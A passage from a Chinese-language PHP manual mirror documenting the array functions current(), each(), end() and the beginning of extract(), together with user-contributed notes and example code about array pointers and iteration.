$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport);    // $mode = 'foot';
$mode = end($transport);     // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';

$arr = array();
var_dump(current($arr)); // bool(false)

$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>

注释

Note: 如果数组包含 boolean FALSE 的单元则本函数在碰到这个单元时也返回 FALSE，使得不可能判断是否到了此数组列表的末端。 要正确遍历可能含有空单元的数组，用 each() 函数。

参见

  • end() - 将数组的内部指针指向最后一个单元
  • key() - 从关联数组中取得键名
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步
  • prev() - 将数组的内部指针倒回一位
  • reset() - 将数组的内部指针指向第一个单元
  • next() - 将数组中的内部指针向前移动一位

User Contributed Notes

xedin dot unknown at gmail dot com 10-Jul-2018 01:28
Array functions, such as `current()` and `rewind()` will work on `Traversable` as well, PHP 5.0 - 7.3, but not in HHVM:

<?php

$queue = new ArrayIterator(array('adasdasd'));
reset($queue);
$current = current($queue);
var_dump($current);

?>

See https://3v4l.org/VjCHR
pdarmis at gmail dot com 06-Aug-2017 06:22
Based on this example http://php.net/manual/en/function.current.php#116128 i would like to add the following.  As Vasily points out in his example
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
foreach($prices as $key => $price){
    if($price < 1000){
        unset($prices[$key]);
    }
}

var_dump(current($prices)); // bool(false)
?>
The above example will not work and return false for version of PHP between 5.2.4 and 5.6.29. The issue is not present on PHP versions >= 7.0.1
A different workaround (at least from Vasily's example) would be to use reset() before using current() in order to reset the array pointer to start.
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
foreach($prices as $key => $price){
    if($price < 1000){
        unset($prices[$key]);
    }
}
reset($prices);
var_dump(current($prices)); // string(7) "1300990"
?>
jodevweb at gmail dot com 16-Sep-2016 02:50
As Sergey stated a long time ago in this notes, when adding to the array using the brackets syntax, current won't return the last added value. Instead of moving the pointer with end(), you simply can get the last value with <?php $my_array[count($my_array) - 1] ?> (only applies to a non-associative array).
Vasily Yudin (st-2 at mail dot ru) 12-Nov-2014 08:51
If you do current() after using uset() on foreach statement, you can get FALSE in PHP version 5.2.4 and above.
There is example:
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
foreach($prices as $key => $price){
    if($price < 1000){
        unset($prices[$key]);
    }
}

var_dump(current($prices)); // bool(false)
?>
If you do unset() without foreach? all will be fine.
<?php
$prices = array(
    0 => '1300990',
    1 => '500',
    2 => '600'
);
unset($prices[1]);
unset($prices[2]);

var_dump(current($prices));
?>
Pratip Ghosh 14-May-2014 05:55
If we unset any element from an array, and then try the current function, I noted it returned FALSE. To overcome this limitation, you can use array_values function to re-order the tree.
strate at yandex dot com 30-Oct-2013 07:11
Note, that you can pass array by expression, not only by reference (as described in doc).

<?php
var_dump( current( array(1,2,3) ) ); // (int) 1
?>
michael at squiloople dot com 10-Jan-2012 07:44
current() also works on objects:

<?php

  echo current((object) array('one', 'two')); // Outputs: one

?>
aefxx 15-May-2008 08:39
A simple copy function that not only copies the given array but ensures the copy's pointer is set to the exact same position:

<?php
function array_copy(&array)
{
    $key = key($array);
    $copy = $array;

    while (($copy_key = key($copy)) !== NULL) {
        if ($copy_key == $key) break;
        next($copy);
    }

    return $copy;
}
?>

That's all ... bye.
gregory at gregory dot net 27-Feb-2008 09:07
It took me a while to figure this out, but there is a more consistent way to figure out whether you really went past the end of the array, than using each().

You see, each() gets the value BEFORE advancing the pointer, and next() gets the value AFTER advancing the pointer. When you are implementing the Iterator interface, therefore, it's a real pain in the behind to use each().

And thus, I give you the solution:
To see if you've blown past the end of the array, use key($array) and see if it returns NULL. If it does, you're past the end of the array -- keys can't be null in arrays.

Nifty, huh? Here's how I implemented the Iterator interface in one of my classes:

<?php

/**
 * DbRow file
 * @package PalDb
 */

/**
 * This class lets you use Db rows and object-relational mapping functionality.
 */

class DbRow implements Iterator
{
    /**
     * The DbResult object that gave us this row through fetchDbRows
     * @var DbResult
     */
    protected $result;

    /**
     * The fields of the row
     * @var $fields
     */
    protected $fields;

    /**
     * Constructor
     *
     * @param PDOStatement $stmt
     *  The PDO statement object that this result uses
     * @param DbResult $result
     *  The result that produced this row through fetchDbRows
     */
    function __construct($result)
    {
        $this->result = $result;
    }

    /**
     * Get the DbResult object that gave us this row through fetchDbRows
     * @return DbResult
     *
     * @return unknown
     */
    function getResult()
    {
        return $this->result;
    }

    function __set(
        $name,
        $value)
    {
        $this->fields[$name] = $value;
    }

    function __get(
        $name)
    {
        if (isset($this->fields[$name]))
            return $this->fields[$name];
        else
            return null;
    }

    /**
     * Iterator implementation - rewind
     */
    function rewind()
    {
        $this->beyondLastField = false;
        return reset($this->fields);
    }

    function valid()
    {
        return !$this->beyondLastField;
    }

    function current()
    {
        return current($this->fields);
    }

    function key()
    {
        return key($this->fields);
    }

    function next()
    {
        $next = next($this->fields);
        $key = key($this->fields);
        if (isset($key)) {
            return $next[1];
        } else {
            $this->beyondLastField = true;
            return false; // doesn't matter what we return here, see valid()
        }
    }

    private $beyondLastField = false;
};

Hope this helps someone.
vaclav dot sir at gmail dot com 13-Aug-2007 09:23
To that "note": You won't be able to distinguish the end of an array from a boolean FALSE element, BUT you can distinguish the end from a NULL value of the key() function.

Example:
<?php
if (key($array) === null) {
    echo "You are in the end of the array.";
} else {
    echo "Current element: " . current($array);
}
?>
mdeng at kabenresearch dot com 23-Apr-2004 11:04
For large array(my sample was 80000+ elements), if you want to traverse the array in sequence, using array index $a[$i] could be very inefficient(very slow). I had to switch to use current($a).
vitalib at 012 dot net dot il 02-Dec-2003 02:10
Note that by copying an array its internal pointer is lost:

<?php
$myarray = array(0=>'a', 1=>'b', 2=>'c');
next($myarray);
print_r(current($myarray));
echo '<br>';
$a = $myarray;
print_r(current($a));
?>

Would output 'b' and then 'a' since the internal pointer wasn't copied. You can cope with that problem using references instead, like that:

<?php
$a =& $myarray;
?>
retestro_REMOVE at SPAM_esperanto dot org dot il 01-Mar-2003 06:31
The docs do not specify this, but adding to the array using the brackets syntax:
     <?php $my_array[] = $new_value; ?>
will not advance the internal pointer of the array. therefore, you cannot use current() to get the last value added or key() to get the key of the most recently added element.

You should do an end($my_array) to advance the internal pointer to the end ( as stated in one of the notes on end() ), then

    <?php
     $last_key = key($my_array);  // will return the key
     $last_value = current($my_array);  // will return the value
    ?>

If you have no need in the key, $last_value = end($my_array) will also do the job.

- Sergey.


返回数组中当前的键／值对并将数组指针向前移动一步

  • ? current
  • end ?
  • PHP Manual
  • 数组 函数
  • 返回数组中当前的键／值对并将数组指针向前移动一步

each

(PHP 4, PHP 5, PHP 7)

each — 返回数组中当前的键／值对并将数组指针向前移动一步

Warning

This function has been DEPRECATED as of PHP 7.2.0. Relying on this function is highly discouraged.

说明

each ( array &$array ) : array

返回数组中当前的键／值对并将数组指针向前移动一步

在执行 each() 之后，数组指针将停留在数组中的下一个单元或者当碰到数组结尾时停留在最后一个单元。如果要再用 each 遍历数组，必须使用 reset()。

参数

array

输入的数组。

返回值

返回 array 数组中当前指针位置的键／值对并向前移动数组指针。键值对被返回为四个单元的数组，键名为0，1，key和 value。单元 0 和 key 包含有数组单元的键名，1 和 value 包含有数据。

如果内部指针越过了数组的末端，则 each() 返回 FALSE。

范例

Example #1 each() 例子

<?php
$foo = array("bob", "fred", "jussi", "jouni", "egon", "marliese");
$bar = each($foo);
print_r($bar);
?>

$bar 现在包含有如下的键／值对：

Array
(
    [1] => bob
    [value] => bob
    [0] => 0
    [key] => 0
)

<?php
$foo = array("Robert" => "Bob", "Seppo" => "Sepi");
$bar = each($foo);
print_r($bar);
?>

$bar 现在包含有如下的键／值对：

Array
(
    [1] => Bob
    [value] => Bob
    [0] => Robert
    [key] => Robert
)

each() 经常和 list() 结合使用来遍历数组，例如：

Example #2 用 each() 遍历数组

<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while (list($key, $val) = each($fruit)) {
    echo "$key => $val\n";
}
?>

以上例程会输出：

a => apple
b => banana
c => cranberry

Caution

因为将一个数组赋值给另一个数组时会重置原来的数组指针，因此在上边的例子中如果我们在循环内部将 $fruit 赋给了另一个变量的话将会导致无限循环。

Warning

each() will also accept objects, but may return unexpected results. Its therefore not recommended to iterate though object properties with each().

参见

  • key() - 从关联数组中取得键名
  • list() - 把数组中的值赋给一组变量
  • current() - 返回数组中的当前单元
  • reset() - 将数组的内部指针指向第一个单元
  • next() - 将数组中的内部指针向前移动一位
  • prev() - 将数组的内部指针倒回一位
  • foreach
  • Object Iteration

User Contributed Notes

phpcoder at gmail dot com 25-Jun-2019 09:36
each was deprecated because it exposed too much of the internal implementation details, blocking language development. ("We can't do X because it would break each().")

https://wiki.php.net/rfc/deprecations_php_7_2#each

If you want an array pointer, maintain it yourself. Probably a good idea anyway, because then it's visible in the code.
Anonymous 04-Aug-2018 01:12
An odd function to deprecate. If you're keeping track of an array pointer in a collection outside a foreach loop you don't care about performance and the utility of this function is core.

Instead you must call two functions: current() and then next() to replicate its behaviour.
13975001197 at 163 dot com 08-Apr-2018 03:58
In PHP 7.2 we can use foreach() to replace each(), such as:

foreach($array as $key => $value) {
    //do something
}
janhsh at tiscalinet dot be 24-Sep-2017 01:57
The following example is invalid in PHP 7 :

<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while (list($key, $val) = each($fruit)) {
    echo "$key => $val\n";
}
?>

The correct writing is
<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while ($Item= each($fruit)) {
    $key=$Item[0];
    $val=$Item[1];
    echo "$key => $val\n";
}
?>

This is because the "list ()" command on the left no longer works in PHP 7 and there is no replacement command.
Which is very deplorable because this command was strongly used and allowed in a simple way to assign variables from array.
ayyappan dot ashok at gmail dot com 18-Apr-2016 09:21
/* Iterating using objects via each */

class SAI
{
   public function __toString()
   {
          return __CLASS__;
   }
}
$a = new SAI();
$b = new SAI();
$c = new SAI();
$d = new SAI();
$e = new SAI();

$objarray = array($a,$b,$c,$d,$e);
reset($objarray);
while (list($key, $val) = each($objarray))
{
    echo "$key => $val\n";
}
//Results
0 => SAI
1 => SAI
2 => SAI
3 => SAI
4 => SAI

Warning:
each() will also accept objects, but may return unexpected results. It's therefore not recommended to iterate though object properties with each().
nino dot skopac at gmail dot com 02-Jul-2015 01:30
<?php
function each_v2($arr) {
    // same as each() but when it hits end of array, it resets it
    static $i = 0;

    if (isset($arr[$i])) {
        // exists?
        return $arr[$i++];
    } else {
        // reset $i to 0 and repeat
        $i = 0;
        return each_v2($arr);
    }
}
?>
gaviel 18-Mar-2011 03:53
Ok Here's one for iterating multidimensional array .. using foreach

    <?php
        $members = array(
                            "member1" => array (
                                                "First Name" => "Robert",
                                                "Last Name" => "Burton",
                                                "Age" => "20"
                                                ),
                            "member2" => array (
                                                "First Name" => "Cheska",
                                                "Last Name" => "Vladesk",
                                                "Age" => "21"
                                                ),
                            "member3" => array (
                                                "First Name" => "Gino",
                                                "Last Name" => "Marley",
                                                "Age" => "19"
                                                ),
                            "member4" => array (
                                                "First Name" => "Jake",
                                                "Last Name" => "White",
                                                "Age" => "16"
                                                ),
                            );
        $dataSetCount = count($members);
        echo "<h1>There are $dataSetCount members</h1>";

        $i = 0;
        foreach ($members as $each_members) {
            $i++;
            echo "<h2>Member $i</h2>";
                foreach ($each_members as $position => $details) {
                    echo "<b>$position</b>" . ": " . $details . "<br />";
                }
            }
    ?>
massimo dot modica at tin dot it 03-Feb-2010 02:36
If you forget to reset the array before each(), the same code may give different results with different php versions.

<?php

$a = array(1,2,3);

foreach ($a AS $k => $v) $a[$k] = 2*$v;

while(list($k2, $v2) = each($a)) { echo($v2."\n"); }

?>

In PHP 5.2.0:

2
4
6

In PHP 5.2.6:

4
6
php at omit dot ianco dot co dot uk 13-Apr-2008 06:10
I wanted to be able to add to an array while looping through it. foreach does not allow this because it is using a secret copy of the array. each makes this possible (tested on PHP 4).
<?php
$shopping_list = array('oysters', 'caviare');
reset ($shopping_list);
while (list($key, $value) = each ($shopping_list)) {
    if ($value == 'oysters') $shopping_list[] = 'champagne';
    elseif ($value == 'champagne') $shopping_list[] = 'ice';
}
print_r($shopping_list);
// Array ( [0] => oysters [1] => caviare [2] => champagne [3] => ice )
?>
wolfeym38 at yahoo dot com 11-Jun-2007 11:28
Regarding speed of foreach vs while(list) =each
I wrote a benchmark script and the results are that clearly foreach is faster. MUCH faster. Even with huge arrays (especially with huge arrays). I tested with sizes 100,000. 1,000,000 and 10,000,000. To do the test with 10 million i had to set my memory limit real high, it was close to 1gb by the time it actually worked. Anyways,

<?php
function getDiff($start, $end) {
    $s = explode(' ', $start);
    $stot = $s[1] + $s[0];
    $e = explode(' ', $end);
    $etot = $e[1] + $e[0];
    return $etot - $stot;
}

$lim=10000000;
$arr = array();
for ($i=0; $i<$lim; $i++) {
    $arr[$i] = $i/2;
}

$start = microtime();
foreach ($arr as $key=>$val);

$end = microtime();
echo "time for foreach = " . getDiff($start, $end) . ".\n";

reset($arr);
$start = microtime();
while (list($key, $val) = each($arr));
$end = microtime();
echo "time list each = " . getDiff($start, $end) . ".\n";
?>

here are some of my results: with 1,000,000
time for foreach = 0.0244591236115.
time list each = 0.158002853394.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 0.0245339870453.
time list each = 0.154260158539.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 0.0269000530243.
time list each = 0.157305955887.

then with 10,000,000:
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 1.96586894989.
time list each = 14.1371650696.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 2.02504014969.
time list each = 13.7696218491.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 2.0246758461.
time list each = 13.8425710201.

by the way, these results are with php 5.2 i believe, and a linux machine with 3gb of ram and 2.8ghz dual core pentium
michael k (name der redaktion bekannt.) 10-May-2007 12:36
If you want to iterate over a two-dimensional, sparse array, and want to  first display every first element, then every second and so on, you can use this code:

 $fruits = array ( "fruits"  => array ( "a" => "orange",
                                      "b" => "banana",
                                      "c" => "apple"
                                    ),
                 "numbers" => array ( 1,
                                      2,
                                      3,
                                      4,
                                      5,
                                      6
                                    ),
                 "holes"   => array (      "first",
                                      5 => "second",
                                           "third",
                                     10 => "fourth",
                                    )
               );

$done = False;
while ($done == False) {
       $done = True;

       // Important: &$val has to be a reference (use the &),
       // if you don't, the internal counter of $val will be
       // re-initialized each time and you loop over the first elements
       // for eternity.

       foreach($fruits as $key => &$val) {

               if (list($inner_key, $inner_val) = each(&$val)) {
                       $done = False;
                       echo "$key : : $inner_key => $inner_val  <br>  \n";
               }

       }
}

NOTE: this is just a quick hack, if you know a better way, post it!
sjoerd-php at linuxonly dot nl 31-Mar-2006 06:04
Use foreach instead of while, list and each. Foreach is:
- easier to read
- faster
- not influenced by the array pointer, so it does not need reset().

It works like this:
<?php
$arr = array('foo', 'bar');
foreach ($arr as $value) {
    echo "The value is $value.";
}

$arr = array('key' => 'value', 'foo' => 'bar');
foreach ($arr as $key => $value) {
    echo "Key: $key, value: $value";
}
?>
matthew at mhalls dot net 04-Dec-2005 03:58
To panania at 3ringwebs dot com:

If you know for certain that you are only receiving one row, the while becomes redundant. To shorten your code:

$strSQL = "SELECT * FROM table WHERE id=1";
$RecordsetSelect = $db->runQuery ($strSQL);
list($key, $val) = mysql_fetch_row($RecordsetSelect);
echo "$key => $val\n";
mysql_free_result($RecordsetSelect);

With only one row being returned this is more elegant a solution, but just being nit-picky in essence. It also shows another quick way of using list.
amby2 at izh dot com 24-Nov-2005 09:55
I've found a compact way to cycle through an associative array using for statement (not while, as it has been done in the most of examples below):

<?php

for (reset($array); list($key) = each($array);) {
  echo $key;
  echo $array[$key];
}

?>

or

<?php

for (reset($array); list($key, $value) = each($array);) {
  echo $key;
  echo $value;
  echo $array[$key];
}

?>

You hardly forget to add reset($array) code line using such construction.
Sopinon 23-Jul-2005 05:17
If you want to display the hole structure (tree) of your array, then you can use this recursive solution.

<?PHP
$tree= "";
array_tree($your_array);
echo $tree;

// Recursive Function
function array_tree($array, $index=0){
    global $tree;
    $space="";
    for ($i=0;$i<$index;$i++){
        $space .= "     ";
    }
    if(gettype($array)=="array"){
        $index++;
        while (list ($x, $tmp) = each ($array)){
            $tree .= $space."$x => $tmp\n";
            array_tree($tmp, $index);
        }
    }
}
?>
james at gogo dot co dot nz 02-Nov-2004 07:29
It's worth noting that references to an array don't have thier own array pointer, and taking a reference to an array doesn't reset it's array pointer, so this works as you would expect it would by eaching the first three items of the array, rather than the first item 3 times.

<?php
  $x = array(1,2,3);

  print_r(each($x));
  echo "\n";

  $y =& $x;
  print_r(each($y));
  echo "\n";

  $z =& $y;
  print_r(each($z));
  echo "\n";
?>
wodzuY2k at anronet dot pl 04-Aug-2002 12:41
This function will help you dump any variable into XML structure.

        //dump var into simple XML structure
        function var_dump_xml($tagname,$variable,$level=0)
         {
            for($i=0;$i<$level;$i++) $marg.=' ';
            if (eregi('^[0-9].*$',$tagname)) $tagname='tag_'.$tagname; //XML tag cannot start with [0-9] character
            if (is_array($variable))
             {
                echo $marg."<$tagname>\n";
                while (list ($key, $val) = each ($variable))  var_dump_xml($key,$val,$level+1);
                echo $marg."</$tagname>\n";
             }
            elseif (strlen($variable)>0)
             {
                 echo $marg."<$tagname>".htmlspecialchars($variable)."</$tagname>\n";
             };
         };

        /*
        example:

        $myVar = array("name"=>"Joe", "age"=>"26", "children"=>array("Ann","Michael"));
        var_dump_xml("myVarTag",$myVar);
        */
Gillis at dancrea dot com 26-May-2002 10:13
I wrote a short and pretty simple script to search through associative arrays for some value in the values, heres a simplifyed example of it:

<?php

$foo['bob'] = "bob is ugly";
$foo['bill'] = "bill is rich";
$foo['barbie'] = "barbie is cute";
$search = "rich";

echo "searching the array foo for $search:<br>";
reset ($foo);
while (list ($key, $val) = each ($foo)) {
if (preg_match ("/$search/i", $val)) {
    print "A match was found in $key.<br />";
} else {
    print "A match was not found in $key.<br />";
}
}

?>

will output:
Searching the array foo for rich:
A match was not found in bob
A match was found in bill
A match was not found in barbie
13-Feb-2002 04:10
I usually work a lot with 2D arrays. Since I've had some trouble traversing them correctly maybe someone out there also experienced those problems and can use this one.

It's based on a 2D-array called $array[$x][$y]. At some (but not necessarily all) (x,y) there is a value I want to reach. Note that I do not know beforehand the ranges of $x or $y (that is their highest and lowest values).

while (list ($x, $tmp) = each ($array)) {
   while (list ($y, $val) = each ($tmp)) {
      echo "$x, $y, $val";
   }
}

The answer for each (x,y) pair can thus be (providng, of course those values where in your array beforehand):

1, 1, 2
2, 2, 0
3, 1, 1
5, 2, 2
5, 1, 2

Note that only the (x,y) pairs with a corresponding value is shown.

Hang in there
Jon Egil Strand
NTNU
tk at turtle-entertainment dot de 29-Jan-2001 11:33
Be sure to use the integrated functions "unset();" or "reset();" - many people forget this and wonder about the created output!
kris at angelanthony dot com 25-Oct-2000 01:03
Remember to use "reset()" if you iterate over an array with "each()" more than once!  Example:

while(list($key,$value) = each($array)){
 // code here
}

NOW the internal pointer on $array is at the end of the array, and another attempt at an iteration like the one above will result in zero executions of the code within the "while" block.  You MUST call "reset($array)" to reset the internal array pointer before iterating over the array again from the first element.


将数组的内部指针指向最后一个单元

  • ? each
  • extract ?
  • PHP Manual
  • 数组 函数
  • 将数组的内部指针指向最后一个单元

end

(PHP 4, PHP 5, PHP 7)

end — 将数组的内部指针指向最后一个单元

说明

end ( array &$array ) : mixed

end() 将 array 的内部指针移动到最后一个单元并返回其值。

参数

array

这个数组。 该数组是通过引用传递的，因为它会被这个函数修改。 这意味着你必须传入一个真正的变量，而不是函数返回的数组，因为只有真正的变量才能以引用传递。

返回值

返回最后一个元素的值，或者如果是空数组则返回 FALSE。

范例

Example #1 end() 例子

<?php

$fruits = array('apple', 'banana', 'cranberry');
echo end($fruits); // cranberry

?>

参见

  • current() - 返回数组中的当前单元
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步
  • prev() - 将数组的内部指针倒回一位
  • reset() - 将数组的内部指针指向第一个单元
  • next() - 将数组中的内部指针向前移动一位

User Contributed Notes

aaaaa976 at gmail dot com 16-Nov-2018 11:12
To get the first element:

    // Get first item.
    foreach ($array as $item) {
        $first = $item;
        break;
    }
    // $first will have the first element.
Aleksandr 28-Apr-2018 04:17
<?php
$A=[1];
print_r($A);
end($A[5]);
print_r($A);
?>

Array
(
    [0] => 1
)
Array
(
    [0] => 1
    [5] =>
)
Jacob 15-Jul-2017 05:55
Attempting to get the value of a key from an empty array through end() will result in NULL instead of throwing an error or warning becuse end() on an empty array results in false:

<?php

$a = ['a' => ['hello' => 'a1','world' => 'a2'],
      'b' => ['hello' => 'b1','world' => 'b2'],
      'c' => ['hello' => 'c1','world' => 'c2']
    ];
$b = [];

var_dump(end($a)['hello']);
var_dump(end($b)['hello']);
var_dump(false['hello']);

?>

Results in:

string(2) "c1"
NULL
NULL
Omolewa stephen 24-Oct-2016 06:16
I found using pathinfo very useful in getting extension of  a file.
<? Php
  $filename = dictionary.txt;
   $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)) ;

echo $ext; // txt
?>
goran 14-May-2016 05:16
In case you need add separator at end

$numbers = array('1','2','3','4');
        foreach ($numbers as $number){
            echo $number;
            if (end($numbers) != $number){
                echo ', ';
            }
        }
ivijan dot stefan at gmail dot com 08-May-2014 04:47
I found that the function end() is the best for finding extensions  on file name. This function cleans backslashes and takes the extension of a file.

<?php
private function extension($str){
    $str=implode("",explode("\\",$str));
    $str=explode(".",$str);
    $str=strtolower(end($str));
     return $str;
}

// EXAMPLE:
$file='name-Of_soMe.File.txt';
echo extension($file); // txt
?>

Very simple.
Jason 18-Mar-2013 10:37
$filename = 'somefile.jpg';

php v5.4 does not support the following statement.
echo end(explode(".", $filename)); // return jpg string

instead you have to split into 2 statements
$file = explode(".", $filename);
echo end ($file);
jorge at REMOVETHIS-2upmedia dot com 01-Mar-2012 01:20
If all you want is the last item of the array without affecting the internal array pointer just do the following:

<?php

function endc( $array ) { return end( $array ); }

$items = array( 'one', 'two', 'three' );
$lastItem = endc( $items ); // three
$current = current( $items ); // one
?>

This works because the parameter to the function is being sent as a copy, not as a reference to the original variable.
franz at develophp dot org 01-Dec-2010 03:06
It's interesting to note that when creating an array with numeric keys in no particular order, end() will still only return the value that was the last one to be created. So, if you have something like this:

    <?php
    $a = array();
    $a[1] = 1;
    $a[0] = 0;
    echo end($a);
    ?>

This will print "0".
laurence at crazypillstudios dot com 07-Jun-2010 02:12
this is a function to move items in an array up or down in the array. it is done by breaking the array into two separate arrays and then have a loop creates the final array adding the item we want to move when the counter is equal to the new position we established the array key, position and direction were passed via a query string

<?php
//parameters
//$array- the array you are modifying
//$keytomove - the key of the item you wish to move
//$pos - the current position of the item: used a count($array) function
//and then loop with incrementing integer to add the position to the up //or down button
//$dir - the direction you want to move it - "up"/"dn"

function change_pos($array, $keytomove, $pos, $dir){
    //count the original number of rows
    $count = count($array);
    //set the integer we will use to place the moved item
    if($dir=="up"){
        if($pos==1){
            //if the item is already first and we try moving it up
            //we send it to the end of the array
            $change = $count;
        }else{
            //anywhere else it just moves back one closer to the start of the array
            $change = $pos-1;
        }
    }
    //do the same for the down button
    if($dir=="dn"){
        if($pos==$count){
            $change = 1;
        }else{
            $change = $pos+1;
        }
    }
    //copy the element that you wish to move
    $move = $array[$keytomove];
    //delete the original from the main array
    unset($array[$keytomove]);
    //create an array of the names of the values we
    //are not moving
    $preint = 1;
    foreach($array as $c){
        $notmoved["{$preint}"] = $c['name'];
    $preint++;
    }
    //loop through all the elements
    $int = 1;
    while($int<=$count){
        //dynamically change the key of the unmoved item as we increment the counter
        $notmovedkey = $notmoved["$int"];
        //when the counter is equal to the position we want
        //to place the moved entry we pump it into a new array
        if($int==$change){
            $neworder["{$keytomove}"] = $move;
        }
        //add all the other array items if the position number is not met and
        //resume adding them once the moved item is written
        if($contkey!=""){
            $neworder["{$notmovedkey}"] = $array["{$notmovedkey}"];
        }
    $int++;
    }

    return($neworder);
}
?>

This is not too elegant but it works.
Sam Yong - hellclanner at live dot com 23-Aug-2009 05:05
Take note that end() does not recursively set your multiple dimension arrays' pointer to the end.

Take a look at the following:
<?php

// create the array for testing
$a = array();
$i = 0;
while($i++ < 3){
$a[] = array(dechex(crc32(mt_rand())),dechex(crc32('lol'.mt_rand())));
}

// show the array tree
echo '<pre>';var_dump($a);

// set the pointer of $a to the end
end($a);

// get the current element of $a
var_dump(current($a));
// get the current element of the current element of $a
var_dump(current(current($a)));

?>

You will notice that you probably get something like this:

array(3) {
  [0]=>
  array(2) {
    [0]=>
    string(8) "764d8d20"
    [1]=>
    string(8) "85ee186d"
  }
  [1]=>
  array(2) {
    [0]=>
    string(8) "c8c72466"
    [1]=>
    string(8) "a0fdccb2"
  }
  [2]=>
  array(2) {
    [0]=>
    string(8) "3463a31b"
    [1]=>
    string(8) "589f6b63"
  }
}

array(2) {
  [0]=>
  string(8) "3463a31b"
  [1]=>
  string(8) "589f6b63"
}

string(8) "3463a31b"

The array elements' pointer are still at the first one as current. So do take note.
jasper at jtey dot com 11-Jul-2006 12:48
This function returns the value at the end of the array, but you may sometimes be interested in the key at the end of the array, particularly when working with non integer indexed arrays:

<?php
// Returns the key at the end of the array
function endKey($array){
 end($array);
 return key($array);
}
?>

Usage example:
<?php
$a = array("one" => "apple", "two" => "orange", "three" => "pear");
echo endKey($a); // will output "three"
?>
ken at expitrans dot com 27-Oct-2005 09:02
Please note that from version 5.0.4 ==> 5.0.5 that this function now takes an array. This will possibly break some code for instance:

<?php

echo ">> ".end(array_keys(array('x' => 'y')))."\n";

?>

which will return "Fatal error: Only variables can be passed by reference" in version <= 5.0.4 but not in 5.0.5.

If you run into this problem with nested function calls, then an easy workaround is to assign the result from array_keys (or whatever function) to an intermediary variable:

<?php

$x = array_keys(array('x' => 'y'));
echo ">> ".end($x)."\n";

?>
28-Aug-2002 06:34
If you need to get a reference on the first or last element of an array, use these functions because reset() and end() only return you a copy that you cannot dereference directly:

<?php
function first(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
reset($array);
return &$array[key($array)];
}

function last(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
end($array);
return &$array[key($array)];
}
?>
28-Aug-2002 06:17
When adding an element to an array, it may be interesting to know with which key it was added. Just adding an element does not change the current position in the array, so calling key() won't return the correct key value; you must first position at end() of the array:

<?php
function array_add(&$array, $value) {
$array[] = $value; // add an element
end($array); // important!
return key($array);
}
?>


从数组中将变量导入到当前的符号表

  • ? end
  • in_array ?
  • PHP Manual
  • 数组 函数
  • 从数组中将变量导入到当前的符号表

extract

(PHP 4, PHP 5, PHP 7)

extract — 从数组中将变量导入到当前的符号表

说明

extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int

本函数用来将变量从数组中导入到当前的符号表中。

检查每个键名看是否可以作为一个合法的变量名，同时也检查和符号表中已有的变量名的冲突。

参数

array

一个关联数组。此函数会将键名当作变量名，值作为变量的值。 对每个键／值对都会在当前的符号表中建立变量，并受到 flags 和 prefix 参数的影响。

必须使用关联数组，数字索引的数组将不会产生结果，除非用了 EXTR_PREFIX_ALL 或者 EXTR_PREFIX_INVALID。

flags

对待非法／数字和冲突的键名的方法将根据取出标记 flags 参数决定。可以是以下值之一：

EXTR_OVERWRITE
如果有冲突，覆盖已有的变量。
EXTR_SKIP
如果有冲突，不覆盖已有的变量。
EXTR_PREFIX_SAME
如果有冲突，在变量名前加上前缀 prefix。
EXTR_PREFIX_ALL
给所有变量名加上前缀 prefix。
EXTR_PREFIX_INVALID
仅在非法／数字的变量名前加上前缀 prefix。
EXTR_IF_EXISTS
仅在当前符号表中已有同名变量时，覆盖它们的值。其它的都不处理。 举个例子，以下情况非常有用：定义一些有效变量，然后从 $_REQUEST 中仅导入这些已定义的变量。
EXTR_PREFIX_IF_EXISTS
仅在当前符号表中已有同名变量时，建立附加了前缀的变量名，其它的都不处理。
EXTR_REFS
将变量作为引用提取。这有力地表明了导入的变量仍然引用了 array 参数的值。可以单独使用这个标志或者在 flags 中用 OR 与其它任何标志结合使用。

如果没有指定 flags，则被假定为 EXTR_OVERWRITE。

prefix

注意 prefix 仅在 flags 的值是 EXTR_PREFIX_SAME，EXTR_PREFIX_ALL，EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS 时需要。 如果附加了前缀后的结果不是合法的变量名，将不会导入到符号表中。前缀和数组键名之间会自动加上一个下划线。

返回值

返回成功导入到符号表中的变量数目。

范例

Example #1 extract() 例子

extract() 的一种可能用法是将 wddx_deserialize() 返回的结合数组中的内容导入到符号表变量中去。

<?php

/* 假定 $var_array 是 wddx_deserialize 返回的数组*/

$size = "large";
$var_array = array("color" => "blue",
                   "size"  => "medium",
                   "shape" => "sphere");
extract($var_array, EXTR_PREFIX_SAME, "wddx");

echo "$color, $size, $shape, $wddx_size\n";

?>

以上例程会输出：

blue, large, sphere, medium

$size 没有被覆盖，因为指定了 EXTR_PREFIX_SAME，这使得 $wddx_size 被建立。如果指定了 EXTR_SKIP，则 $wddx_size 也不会被建立。EXTR_OVERWRITE 将使 $size 的值为"medium"，EXTR_PREFIX_ALL 将建立新变量 $wddx_color，$wddx_size 和 $wddx_shape。

注释

Warning

